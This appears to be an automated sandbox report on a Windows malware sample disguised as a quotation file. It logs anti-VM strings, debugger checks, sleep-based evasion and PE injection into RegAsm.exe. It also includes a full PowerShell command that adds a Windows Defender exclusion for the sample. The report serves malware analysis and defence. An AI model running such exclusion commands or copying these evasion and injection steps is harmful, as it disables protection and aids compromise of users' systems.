Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -98421s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -98312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -98093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97546s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -97000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96452s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -96015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -95906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -95795s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -95687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -95578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -95468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -95359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -95250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99163s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99872	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99495	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99148	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98881	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 96015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 95906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 95795	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 95687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 95578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 95468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 95359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 95250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99163	Jump to behavior

Source: Amcache.hve.14.dr	Binary or memory string: VMware
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr	Binary or memory string: VMware, Inc.
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.14.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.14.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr	Binary or memory string: vmci.sys
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin`
Source: RegAsm.exe, 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.14.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.14.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.14.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: RegAsm.exe, 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: Amcache.hve.14.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_010E70B0 CheckRemoteDebuggerPresent,

11_2_010E70B0

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CA0008	Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force			Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"			Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Queries volume information: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
